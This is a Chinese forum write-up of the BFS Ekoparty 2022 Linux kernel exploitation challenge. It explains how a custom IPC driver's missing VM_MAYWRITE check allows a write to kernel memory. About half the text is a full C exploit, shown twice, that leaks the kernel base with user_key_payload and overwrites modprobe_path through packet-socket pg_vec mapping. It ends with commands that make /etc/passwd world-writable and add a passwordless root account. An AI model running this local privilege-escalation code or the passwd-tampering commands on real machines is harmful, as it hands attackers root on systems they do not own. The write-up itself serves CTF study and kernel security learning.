-
-
[原创] BFS Ekoparty 2022 Linux Kernel Exploitation Challenge
-
发表于: 2024-5-7 18:24 9317
-
昨天一个师傅给了我一道 linux kernel pwn
题目,然后我看了感觉非常有意思,题目也不算难(在看了作者的提示下),所以就花时间做了做,在这里简单记录一下。这个题是 BFS Lab
2022 年的一道招聘题?还有一道 window
利用相关的,但我不太会,这两道题目做出来就可以获得面试资格(:这不禁让我想起学校各大公司的招聘宣讲会,扯了一个晚上结果告诉我们回去网申,乐
这里先简单看下其要求:
可以看到其提供了驱动模块的源码,要求自己编译,然后在最新版本的内核 5.15.0-52-generic
(目前 2024 已经不是最新了)的 Ubuntu 22.04 VM
上完成利用,如果在开启 SMAP/SMEP
时可以完成利用则会获得额外的加分
目前我虚拟机的内核版本为 6.5.0
,所以这里简单切换下内核版本,这里我选择的版本为 5.15.0-72-generic
,主要是不想自己源码编译
其给了模块源码,自己编译安装即可,这里给出脚本:
先说明下,源码的实现中存在一些内存泄漏的问题,但是这里与漏洞利用无关,所以也不过多解释。然后我对源码进行了注释,感兴趣的读者可以自行下载查看,这里我主要关注漏洞点。ok,先来看看这个模块主要在干一个什么事情
正如挑战所描述的那样,其实现了一个 IPC
模块,阅读源码可以知道其可以在不同进程间发送文件描述符(与 SCM_RIGHTS
消息非常相似,发送的其实是底层的 struct file
结构体)和普通文本数据,而这里的传输文本数据非常有意思,当我们从进程 A
发送数据 data
到进程 B
,此时会把 data
挂在 B
对应 blunder_proc
结构体的待接收队列中,而这里比较奇妙的是待接收队列中的数据被直接映射到了用户空间,所以当进程 B
接收消息时,则不需要在用户空间和内核空间之间复制数据,而是直接获取对应消息在用户空间的映射地址,这样就大大加快了速度,这里简单画了一张图,总的结构如下:
说实话,跟 sendmsg
系统调用传递 SCM_RIGHTS
辅助消息的底层处理非常像(:可以说是一个阉割版
这里解释一些结构体:
对于源码我也不行过多解释了,整体而言比较简单,读者可以先自行查看,这里仅仅说下漏洞逻辑:
这里得配合作者给的提示:
主要还是我太菜了,一开始并没觉得有啥问题
通过作者给的提示可以知道这里虽然检查了 VM_WRITE
,但是并没有检查 VM_MAYWRITE
,也就是说如果映射时如果带有 VM_MAYWRITE
标志则在后面可以利用 mprotect
赋予映射区域写权限,从而就绕过了这里的检查,然后简单审计下 mmap
源码:
可以发现对于使用 O_RDWR
打开的文件,在进行文件映射时,会默认加上 VM_MAYWRITE
标志,所以整个漏洞就很清晰了:
这里 mmap
最小的映射大小就是 0x1000
,所以对应到内核就是 kmalloc-4k
,然后我们对整个数据缓冲区都是可控的,也就是下面的红色部分:
最开始我想的是通过修改 buffer_size
去实现越界写,但是发现我的环境开启了 Hardened usercopy
,但是这里还是有办法的,那就是在末尾伪造一个 struct blunder_buffer header
,这里在进行写入时就不存在跨页了
所以这里我们获得了一个比较强大的原语:
按理说利用就变得简单了,但是我的环境又存在 cg
隔离,导致常用的适配大对象的结构体 pipe_buffer/msg_msg
都不适用,而且这里并不好利用 cross cache
攻击,因为 kmalloc-4k
的 pageperslab
为 8,并且这里的溢出只能是相邻溢出,并且由于 Hardened usercopy
保护,这里最多溢出 0xfd0
,所以我们得利用 cross cache
形成如下堆布局才行:
由于笔者对 cross cache
攻击技巧掌握的不是很好,所以就果断放弃了,但是还好内核中还是存在 GFP_KERNEL
分配的可用于利用的大对象,这里笔者主要的利用思路就是:user_key_paylaod
泄漏 kbase
+ pgv
打 USMA
篡改 modprobe_path
这里比较 nice
,ubu
上 modprobe_path
相关保护似乎是关了的,当然没关也无所谓,USMA
劫持 setresuid
相关底层函数也行
所以这里先堆喷形成如下布局:
然后利用越界写修改 user_key_payload1
的 datalen
从而实现越界读取 user_free_payload_rcu
从而泄漏 kbase
最后在释放掉 user_key_payload1
,然后申请 pgv
占据该对象,此时就可以利用越界写修改相关地址为 modprobe_path
即可完成 USMA
劫持 modprobe_path
最后 exp
如下:
最后效果如下:堆喷策略比较简单,所以成功率不算太高
这个题目出的挺好的,利用不算难,关键在于能否发现漏洞,笔者最后还是看了提示才知道漏洞所在的,不得不说,自己懂的还是太少了。如果读者对上述不是很明白,请务必先审计模块源码以了解整个模块到底在做什么
相关注释源码和 exp
可在笔者的 github
上下载
obj-m += blunder.o
CURRENT_PATH := $(shell
pwd
)
LINUX_KERNEL := $(shell
uname
-r)
LINUX_KERNEL_PATH :=
/usr/src/linux-headers-
$(LINUX_KERNEL)
all:
make
-C $(LINUX_KERNEL_PATH) M=$(CURRENT_PATH) modules
clean:
make
-C $(LINUX_KERNEL_PATH) M=$(CURRENT_PATH) clean
obj-m += blunder.o
CURRENT_PATH := $(shell
pwd
)
LINUX_KERNEL := $(shell
uname
-r)
LINUX_KERNEL_PATH :=
/usr/src/linux-headers-
$(LINUX_KERNEL)
all:
make
-C $(LINUX_KERNEL_PATH) M=$(CURRENT_PATH) modules
clean:
make
-C $(LINUX_KERNEL_PATH) M=$(CURRENT_PATH) clean
#!/bin/sh
sudo
insmod blunder.ko
sudo
chmod
666
/dev/blunder
#!/bin/sh
sudo
insmod blunder.ko
sudo
chmod
666
/dev/blunder
// 全局管理结构
struct
blunder_device {
spinlock_t lock;
struct
rb_root procs;
struct
blunder_proc *context_manager;
};
// 全局管理结构
struct
blunder_device {
spinlock_t lock;
struct
rb_root procs;
struct
blunder_proc *context_manager;
};
/*
* @refcount: number of references for this object.
* @rb_node : links procs in blunder_device.
* @alloc: the allocator for incoming messages
* @handles: rb-tree of handles to other blunder_proc.
* @messages: list of IPC messages to be delivered to this proc
*/
// 每个进程维护一个
struct
blunder_proc {
struct
kref refcount;
spinlock_t lock;
int
pid;
int
dead;
struct
rb_node rb_node;
// 与 blunder_device 连接成 RBT
struct
blunder_alloc alloc;
// 数据缓冲区管理结构
struct
list_head messages;
// 接收队列
};
/*
* @refcount: number of references for this object.
* @rb_node : links procs in blunder_device.
* @alloc: the allocator for incoming messages
* @handles: rb-tree of handles to other blunder_proc.
* @messages: list of IPC messages to be delivered to this proc
*/
// 每个进程维护一个
struct
blunder_proc {
struct
kref refcount;
spinlock_t lock;
int
pid;
int
dead;
struct
rb_node rb_node;
// 与 blunder_device 连接成 RBT
struct
blunder_alloc alloc;
// 数据缓冲区管理结构
struct
list_head messages;
// 接收队列
};
/*
* @mapping: kernel mapping where IPC messages will be received.
* @mapping_size: size of the mapping.
* @buffers: list of `blunder_buffer` allocations.
* @user_buffer_offset: distance between userspace buffer and mapping
*/
struct
blunder_alloc {
spinlock_t lock;
void
*mapping;
size_t
mapping_size;
ptrdiff_t
user_buffer_offset;
struct
list_head buffers;
};
/*
* @mapping: kernel mapping where IPC messages will be received.
* @mapping_size: size of the mapping.
* @buffers: list of `blunder_buffer` allocations.
* @user_buffer_offset: distance between userspace buffer and mapping
*/
struct
blunder_alloc {
spinlock_t lock;
void
*mapping;
size_t
mapping_size;
ptrdiff_t
user_buffer_offset;
struct
list_head buffers;
};
struct
blunder_buffer {
struct
list_head buffers_node;
atomic_t
free
;
size_t
buffer_size;
// buffer 空间的大小
size_t
data_size;
// 实际存储数据的大小
size_t
offsets_size;
unsigned
char
data[0];
};
struct
blunder_buffer {
struct
list_head buffers_node;
atomic_t
free
;
size_t
buffer_size;
// buffer 空间的大小
size_t
data_size;
// 实际存储数据的大小
size_t
offsets_size;
unsigned
char
data[0];
};
struct
blunder_message {
struct
list_head entry;
int
opcode;
struct
blunder_proc *from;
// --> pid??
struct
blunder_buffer *buffer;
size_t
num_files;
struct
file **files;
};
struct
blunder_message {
struct
list_head entry;
int
opcode;
struct
blunder_proc *from;
// --> pid??
struct
blunder_buffer *buffer;
size_t
num_files;
struct
file **files;
};
struct
blunder_user_message {
int
handle;
// pid
int
opcode;
void
*data;
// 要发送/接收数据的指针
size_t
data_size;
// 要发送/接收数据的大小
size_t
*offsets;
size_t
offsets_size;
int
*fds;
// fds[num_fds]
size_t
num_fds;
};
struct
blunder_user_message {
int
handle;
// pid
int
opcode;
void
*data;
// 要发送/接收数据的指针
size_t
data_size;
// 要发送/接收数据的大小
size_t
*offsets;
size_t
offsets_size;
int
*fds;
// fds[num_fds]
size_t
num_fds;
};
static
int
blunder_mmap(
struct
file *filp,
struct
vm_area_struct *vma) {
......
// sz 得在 [0, 0x20000] 之间且虚拟内存区域不存在写权限
// 但是这里没有排除 VM_MAYWRITE 权限,即已经将该内存区域设置为可写权限 <====== PWN
if
(sz > BLUNDER_MAX_MAP_SIZE || vma->vm_flags & VM_WRITE) {
goto
out;
}
......
static
int
blunder_mmap(
struct
file *filp,
struct
vm_area_struct *vma) {
......
// sz 得在 [0, 0x20000] 之间且虚拟内存区域不存在写权限
// 但是这里没有排除 VM_MAYWRITE 权限,即已经将该内存区域设置为可写权限 <====== PWN
if
(sz > BLUNDER_MAX_MAP_SIZE || vma->vm_flags & VM_WRITE) {
goto
out;
}
......
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/if_packet.h>
void
err_exit(
char
*msg)
{
printf
(
"\033[31m\033[1m[x] Error at: \033[0m%s\n"
, msg);
sleep(1);
exit
(EXIT_FAILURE);
}
void
info(
char
*msg)
{
printf
(
"\033[32m\033[1m[+] %s\n\033[0m"
, msg);
}
void
hexx(
char
*msg,
size_t
value)
{
printf
(
"\033[32m\033[1m[+] %s: %#lx\n\033[0m"
, msg, value);
}
void
binary_dump(
char
*desc,
void
*addr,
int
len) {
uint64_t *buf64 = (uint64_t *) addr;
uint8_t *buf8 = (uint8_t *) addr;
if
(desc != NULL) {
printf
(
"\033[33m[*] %s:\n\033[0m"
, desc);
}
for
(
int
i = 0; i < len / 8; i += 4) {
printf
(
" %04x"
, i * 8);
for
(
int
j = 0; j < 4; j++) {
i + j < len / 8 ?
printf
(
" 0x%016lx"
, buf64[i + j]) :
printf
(
" "
);
}
printf
(
" "
);
for
(
int
j = 0; j < 32 && j + i * 8 < len; j++) {
printf
(
"%c"
, isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] :
'.'
);
}
puts
(
""
);
}
}
/* root checker and shell poper */
void
get_root_shell(
void
)
{
system
(
"echo '#!/bin/sh\n/bin/chmod 777 /etc/passwd' > /tmp/x"
);
// modeprobe_path 修改为了 /tmp/x
system
(
"chmod +x /tmp/x"
);
system
(
"echo '\xff\xff\xff\xff' > /tmp/dummy"
);
// 非法格式的二进制文件
system
(
"chmod +x /tmp/dummy"
);
system
(
"/tmp/dummy"
);
// 执行非法格式的二进制文件 ==> 执行 modeprobe_path 指向的文件 /tmp/x
sleep(0.3);
system
(
"echo 'hacker::0:0:root:/root:/bin/bash' >> /etc/passwd"
);
system
(
"su hacker"
);
exit
(EXIT_SUCCESS);
}
/* userspace status saver */
size_t
user_cs, user_ss, user_rflags, user_sp;
void
save_status()
{
asm
volatile
(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts
(
"\033[34m\033[1m[*] Status has been saved.\033[0m"
);
}
/* bind the process to specific core */
void
bind_core(
int
core)
{
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(),
sizeof
(cpu_set), &cpu_set);
printf
(
"\033[34m\033[1m[*] Process binded to core \033[0m%d\n"
, core);
}
#define IOCTL_BLUNDER_SET_CTX_MGR _IOWR('s', 1, uint64_t)
#define IOCTL_BLUNDER_SEND_MSG _IOWR('s', 2, struct blunder_user_message)
#define IOCTL_BLUNDER_RECV_MSG _IOWR('s', 3, struct blunder_user_message)
#define IOCTL_BLUNDER_FREE_BUF _IOWR('s', 4, void *)
struct
blunder_user_message {
int
handle;
int
opcode;
void
*data;
size_t
data_size;
size_t
*offsets;
size_t
offsets_size;
int
*fds;
size_t
num_fds;
};
void
set_ctx(
int
fd) {
ioctl(fd, IOCTL_BLUNDER_SET_CTX_MGR, 0);
}
void
send_msg(
int
fd,
int
topid,
void
* data,
size_t
data_size,
int
* fds,
size_t
num_fds) {
struct
blunder_user_message n = { .handle=topid, .data=data, .data_size=data_size, .fds=fds, .num_fds=num_fds };
ioctl(fd, IOCTL_BLUNDER_SEND_MSG, &n);
}
void
recv_msg(
int
fd,
int
* fds,
size_t
num_fds) {
struct
blunder_user_message n = { .fds=fds, .num_fds=num_fds };
ioctl(fd, IOCTL_BLUNDER_RECV_MSG, &n);
}
void
free_buf(
int
fd, unsigned
long
arg) {
ioctl(fd, IOCTL_BLUNDER_FREE_BUF, arg);
}
int
key_alloc(
char
*description,
char
*payload,
size_t
plen)
{
return
syscall(__NR_add_key,
"user"
, description, payload, plen,
KEY_SPEC_PROCESS_KEYRING);
}
int
key_update(
int
keyid,
char
*payload,
size_t
plen)
{
return
syscall(__NR_keyctl, KEYCTL_UPDATE, keyid, payload, plen);
}
int
key_read(
int
keyid,
char
*buffer,
size_t
buflen)
{
return
syscall(__NR_keyctl, KEYCTL_READ, keyid, buffer, buflen);
}
int
key_revoke(
int
keyid)
{
return
syscall(__NR_keyctl, KEYCTL_REVOKE, keyid, 0, 0, 0);
}
int
key_unlink(
int
keyid)
{
return
syscall(__NR_keyctl, KEYCTL_UNLINK, keyid, KEY_SPEC_PROCESS_KEYRING);
}
void
unshare_setup(
void
)
{
char
edit[0x100];
int
tmp_fd;
if
(unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET))
err_exit(
"FAILED to create a new namespace"
);
tmp_fd = open(
"/proc/self/setgroups"
, O_WRONLY);
write(tmp_fd,
"deny"
,
strlen
(
"deny"
));
close(tmp_fd);
tmp_fd = open(
"/proc/self/uid_map"
, O_WRONLY);
snprintf(edit,
sizeof
(edit),
"0 %d 1"
, getuid());
write(tmp_fd, edit,
strlen
(edit));
close(tmp_fd);
tmp_fd = open(
"/proc/self/gid_map"
, O_WRONLY);
snprintf(edit,
sizeof
(edit),
"0 %d 1"
, getgid());
write(tmp_fd, edit,
strlen
(edit));
close(tmp_fd);
}
#ifndef ETH_P_ALL
#define ETH_P_ALL 0x0003
#endif
void
packet_socket_rx_ring_init(
int
s, unsigned
int
block_size,
unsigned
int
frame_size, unsigned
int
block_nr,
unsigned
int
sizeof_priv, unsigned
int
timeout) {
int
v = TPACKET_V3;
int
rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v,
sizeof
(v));
if
(rv < 0)
puts
(
"setsockopt(PACKET_VERSION)"
),
exit
(-1);
struct
tpacket_req3 req;
memset
(&req, 0,
sizeof
(req));
req.tp_block_size = block_size;
req.tp_frame_size = frame_size;
req.tp_block_nr = block_nr;
req.tp_frame_nr = (block_size * block_nr) / frame_size;
req.tp_retire_blk_tov = timeout;
req.tp_sizeof_priv = sizeof_priv;
req.tp_feature_req_word = 0;
rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req,
sizeof
(req));
if
(rv < 0)
perror
(
"setsockopt(PACKET_RX_RING)"
),
exit
(-1);
}
int
packet_socket_setup(unsigned
int
block_size, unsigned
int
frame_size,
unsigned
int
block_nr, unsigned
int
sizeof_priv,
int
timeout) {
int
s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if
(s < 0)
puts
(
"socket(AF_PACKET)"
),
exit
(-1);
packet_socket_rx_ring_init(s, block_size, frame_size, block_nr, sizeof_priv, timeout);
struct
sockaddr_ll sa;
memset
(&sa, 0,
sizeof
(sa));
sa.sll_family = PF_PACKET;
sa.sll_protocol = htons(ETH_P_ALL);
sa.sll_ifindex = if_nametoindex(
"lo"
);
sa.sll_hatype = 0;
sa.sll_pkttype = 0;
sa.sll_halen = 0;
int
rv = bind(s, (
struct
sockaddr *)&sa,
sizeof
(sa));
if
(rv < 0)
puts
(
"bind(AF_PACKET)"
),
exit
(-1);
return
s;
}
// count 为 pg_vec 数组的大小, 即 pg_vec 的大小为 count*8
// size/4096 为要分配的 order
int
pagealloc_pad(
int
count,
int
size) {
return
packet_socket_setup(size, 2048, count, 0, 100);
}
#define KEY_NUMS 0x10
#define MAX_FDS 0x10
int
main(
int
argc,
char
** argv,
char
** envp)
{
bind_core(0);
int
pipe_fd[2];
pipe(pipe_fd);
pid_t pid = fork();
if
(!pid) {
unshare_setup();
char
* mmap_addr;
int
key_id[KEY_NUMS];
char
desc[0x10] = { 0 };
char
buf[0x10000] = { 0 };
int
fds[MAX_FDS] = { 0 };
uint64_t kheap = 0;
uint64_t khead = 0;
uint64_t kbase = 0;
uint64_t koffset = 0;
uint64_t modprobe_path = 0x1e8bb00;
int
evil_key = -1;
int
res, flag;
int
pid = getpid();
int
fd = open(
"/dev/blunder"
, O_RDWR);
if
(fd < 0) err_exit(
"open /dev/blunder"
);
for
(
int
i = 0; i < KEY_NUMS / 2; i++) {
sprintf
(desc,
"%s%d"
,
"XiaozaYa"
, i);
key_id[i] = key_alloc(desc, buf, 2032);
}
mmap_addr = mmap(NULL, 0x1000, PROT_READ, MAP_SHARED, fd, 0);
if
(mmap_addr == MAP_FAILED) err_exit(
"mmap"
);
for
(
int
i = KEY_NUMS / 2; i < KEY_NUMS; i++) {
sprintf
(desc,
"%s%d"
,
"XiaozaYa"
, i);
key_id[i] = key_alloc(desc, buf, 2032);
}
printf
(
"[+] mmap_addr: %#llx\n"
, mmap_addr);
if
(mprotect(mmap_addr, 0x1000, PROT_READ|PROT_WRITE)) err_exit(
"mprotect"
);
send_msg(fd, pid, buf, 0x10, NULL, 0);
kheap = *(uint64_t*)(mmap_addr) - 0x40;
khead = *(uint64_t*)(mmap_addr + 8);
printf
(
"[+] kheap: %#llx\n"
, kheap);
printf
(
"[+] khead: %#llx\n"
, khead);
*(uint64_t*)(mmap_addr) = kheap + 0x1000 - 0x30;
*(uint64_t*)(mmap_addr+0x1000-0x30) = khead;
*(uint64_t*)(mmap_addr+0x1000-0x30+8) = kheap;
*(uint64_t*)(mmap_addr+0x1000-0x30+16) = 1;
*(uint64_t*)(mmap_addr+0x1000-0x30+24) = 0x100;
*(uint64_t*)(mmap_addr+0x1000-0x30+32) = 0;
binary_dump(
"first buf"
, mmap_addr, 0x30);
binary_dump(
"second buf"
, mmap_addr+0x1000-0x30, 0x30);
*(uint64_t*)(buf + 16) = 0xfff0;
send_msg(fd, pid, buf, 0x20, NULL, 0);
binary_dump(
"use buf"
, mmap_addr+0x1000-0x30, 0x30);
memset
(buf, 0,
sizeof
(buf));
for
(
int
i = 0; i < KEY_NUMS; i++) {
res = key_read(key_id[i], buf, 0xfff0);
if
(res > 0x1000) {
printf
(
"[+] key overread data len: %#lx\n"
, res);
evil_key = i;
break
;
}
}
if
(evil_key == -1) {
write(pipe_fd[1],
"N"
, 1);
err_exit(
"not hit evil_key"
);
}
printf
(
"[+] evil_key: %d\n"
, evil_key);
for
(
int
i = 0; i < KEY_NUMS; i++) {
if
(i != evil_key) {
key_revoke(key_id[i]);
}
}
res = key_read(key_id[evil_key], buf, res);
int
hit_count = 0;
for
(
int
i = 0; i < res / 8; i++) {
uint64_t val = *(uint64_t*)(buf + i*8);
if
((val&0xfff) == 0xa60) {
if
(kbase == 0) {
printf
(
"[+] user_free_payload_rcu: %#llx\n"
, val);
kbase = val - 0x52ba60;
koffset = kbase - 0xffffffff81000000;
}
hit_count++;
//break;
}
}
if
(kbase == 0) {
write(pipe_fd[1],
"N"
, 1);
err_exit(
"Failed to leak kbase"
);
}
printf
(
"[+] hit count: %d\n"
, hit_count);
printf
(
"[+] kbase: %#llx\n"
, kbase);
printf
(
"[+] koffset: %#llx\n"
, koffset);
modprobe_path += kbase;
printf
(
"[+] modprobe_path: %#llx\n"
, modprobe_path);
key_revoke(key_id[evil_key]);
// key_unlink(key_id[evil_key]);
int
packet_fd;
char
* page;
#define TRY_NUMS 0x20
int
try_keys[TRY_NUMS];
int
index = 0;
memset
(desc, 0,
sizeof
(desc));
for
(
int
i = 0; i < 257; i++) {
*(uint64_t*)(buf+i*8) = modprobe_path & (~0xfff);
}
for
(
int
i = 0; i < TRY_NUMS; i++) {
printf
(
"[+] try %d/32\n"
, i);
packet_fd = pagealloc_pad(257, 0x1000);
if
(packet_fd < 0) {
write(pipe_fd[1],
"N"
, 1);
perror
(
"pagealloc_pad"
);
exit
(-1);
}
*(uint64_t*)(mmap_addr) = kheap + 0x1000 - 0x30;
*(uint64_t*)(mmap_addr+0x1000-0x30) = khead;
*(uint64_t*)(mmap_addr+0x1000-0x30+8) = kheap;
*(uint64_t*)(mmap_addr+0x1000-0x30+16) = 1;
*(uint64_t*)(mmap_addr+0x1000-0x30+24) = 0x1000;
*(uint64_t*)(mmap_addr+0x1000-0x30+32) = 0;
send_msg(fd, pid, buf, 257*8, NULL, 0);
page = (
char
*)mmap(NULL, 0x1000*257, PROT_READ|PROT_WRITE, MAP_SHARED, packet_fd, 0);
if
(page == MAP_FAILED) {
write(pipe_fd[1],
"N"
, 1);
printf
(
"[x] packet_fd: %d\n"
, packet_fd);
perror
(
"mmap for USMA"
);
exit
(-1);
}
page[
strlen
(
"/sbin/modprobe"
)] =
'\x00'
;
printf
(
"[s] hit string: %s\n"
, &page[modprobe_path&0xfff]);
if
(!
strcmp
(&page[modprobe_path&0xfff],
"/sbin/modprobe"
)) {
strcpy
(&page[modprobe_path&0xfff],
"/tmp/x"
);
write(pipe_fd[1],
"Y"
, 1);
goto
OUT;
}
munmap(page, 0x1000*257);
close(packet_fd);
sprintf
(desc,
"%s%d"
,
"Try"
, index);
try_keys[index++] = key_alloc(desc, buf, 2032);
}
write(pipe_fd[1],
"N"
, 1);
OUT:
puts
(
"[+] Child Porcess Over"
);
exit
(0);
}
else
if
(pid < 0) {
err_exit(
"fork"
);
}
else
{
char
buf[1];
read(pipe_fd[0], buf, 1);
// wait(NULL);
sleep(2);
if
(buf[0] ==
'Y'
) {
get_root_shell();
}
puts
(
"[+] Parent Porcess Over"
);
exit
(0);
}
/*
// just test
fds[0] = open("./test", O_RDWR);
send_msg(fd, pid, buf, 0x10, fds, 1);
binary_dump("MMAP DATA", mmap_addr, 0x100);
send_msg(fd, pid, buf, 0x10, fds, 1);
binary_dump("MMAP DATA", mmap_addr, 0x100);
recv_msg(fd, &fds[1], 1);
printf("%d\n", fds[1]);
binary_dump("MMAP DATA", mmap_addr, 0x100);
*/
return
0;
}
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/if_packet.h>
void
err_exit(
char
*msg)
{
printf
(
"\033[31m\033[1m[x] Error at: \033[0m%s\n"
, msg);
sleep(1);
exit
(EXIT_FAILURE);
}
void
info(
char
*msg)
{
printf
(
"\033[32m\033[1m[+] %s\n\033[0m"
, msg);
}
void
hexx(
char
*msg,
size_t
value)
{
printf
(
"\033[32m\033[1m[+] %s: %#lx\n\033[0m"
, msg, value);
}
void
binary_dump(
char
*desc,
void
*addr,
int
len) {
uint64_t *buf64 = (uint64_t *) addr;
uint8_t *buf8 = (uint8_t *) addr;
if
(desc != NULL) {
printf
(
"\033[33m[*] %s:\n\033[0m"
, desc);
}
for
(
int
i = 0; i < len / 8; i += 4) {
printf
(
" %04x"
, i * 8);
for
(
int
j = 0; j < 4; j++) {
i + j < len / 8 ?
printf
(
" 0x%016lx"
, buf64[i + j]) :
printf
(
" "
);
}
printf
(
" "
);
for
(
int
j = 0; j < 32 && j + i * 8 < len; j++) {
printf
(
"%c"
, isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] :
'.'
);
}
puts
(
""
);
}
}
/* root checker and shell poper */
void
get_root_shell(
void
)
{
system
(
"echo '#!/bin/sh\n/bin/chmod 777 /etc/passwd' > /tmp/x"
);
// modeprobe_path 修改为了 /tmp/x
system
(
"chmod +x /tmp/x"
);
system
(
"echo '\xff\xff\xff\xff' > /tmp/dummy"
);
// 非法格式的二进制文件
system
(
"chmod +x /tmp/dummy"
);
system
(
"/tmp/dummy"
);
// 执行非法格式的二进制文件 ==> 执行 modeprobe_path 指向的文件 /tmp/x
sleep(0.3);
system
(
"echo 'hacker::0:0:root:/root:/bin/bash' >> /etc/passwd"
);
system
(
"su hacker"
);
exit
(EXIT_SUCCESS);
}
/* userspace status saver */
size_t
user_cs, user_ss, user_rflags, user_sp;
void
save_status()
{
asm
volatile
(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts
(
"\033[34m\033[1m[*] Status has been saved.\033[0m"
);
}
/* bind the process to specific core */
void
bind_core(
int
core)
{
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(),
sizeof
(cpu_set), &cpu_set);
printf
(
"\033[34m\033[1m[*] Process binded to core \033[0m%d\n"
, core);
}
#define IOCTL_BLUNDER_SET_CTX_MGR _IOWR('s', 1, uint64_t)
#define IOCTL_BLUNDER_SEND_MSG _IOWR('s', 2, struct blunder_user_message)
#define IOCTL_BLUNDER_RECV_MSG _IOWR('s', 3, struct blunder_user_message)
#define IOCTL_BLUNDER_FREE_BUF _IOWR('s', 4, void *)
struct
blunder_user_message {
int
handle;
int
opcode;
void
*data;
size_t
data_size;
size_t
*offsets;
size_t
offsets_size;
int
*fds;
size_t
num_fds;
};
void
set_ctx(
int
fd) {
ioctl(fd, IOCTL_BLUNDER_SET_CTX_MGR, 0);
}
void
send_msg(
int
fd,
int
topid,
void
* data,
size_t
data_size,
int
* fds,
size_t
num_fds) {
struct
blunder_user_message n = { .handle=topid, .data=data, .data_size=data_size, .fds=fds, .num_fds=num_fds };
ioctl(fd, IOCTL_BLUNDER_SEND_MSG, &n);
}
void
recv_msg(
int
fd,
int
* fds,
size_t
num_fds) {
struct
blunder_user_message n = { .fds=fds, .num_fds=num_fds };
ioctl(fd, IOCTL_BLUNDER_RECV_MSG, &n);
}
void
free_buf(
int
fd, unsigned
long
arg) {
ioctl(fd, IOCTL_BLUNDER_FREE_BUF, arg);
}
int
key_alloc(
char
*description,
char
*payload,
size_t
plen)
{
return
syscall(__NR_add_key,
"user"
, description, payload, plen,
KEY_SPEC_PROCESS_KEYRING);
}
int
key_update(
int
keyid,
char
*payload,
size_t
plen)
{
return
syscall(__NR_keyctl, KEYCTL_UPDATE, keyid, payload, plen);
}
int
key_read(
int
keyid,
char
*buffer,
size_t
buflen)
{
return
syscall(__NR_keyctl, KEYCTL_READ, keyid, buffer, buflen);
}
int
key_revoke(
int
keyid)
{
return
syscall(__NR_keyctl, KEYCTL_REVOKE, keyid, 0, 0, 0);
}
int
key_unlink(
int
keyid)
{
return
syscall(__NR_keyctl, KEYCTL_UNLINK, keyid, KEY_SPEC_PROCESS_KEYRING);
}
void
unshare_setup(
void
)
{
char
edit[0x100];
int
tmp_fd;
if
(unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET))
err_exit(
"FAILED to create a new namespace"
);
tmp_fd = open(
"/proc/self/setgroups"
, O_WRONLY);
write(tmp_fd,
"deny"
,
strlen
(
"deny"
));
close(tmp_fd);
tmp_fd = open(
"/proc/self/uid_map"
, O_WRONLY);
snprintf(edit,
sizeof
(edit),
"0 %d 1"
, getuid());
write(tmp_fd, edit,
strlen
(edit));
close(tmp_fd);
tmp_fd = open(
"/proc/self/gid_map"
, O_WRONLY);
snprintf(edit,
sizeof
(edit),
"0 %d 1"
, getgid());
write(tmp_fd, edit,
strlen
(edit));
close(tmp_fd);
}
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!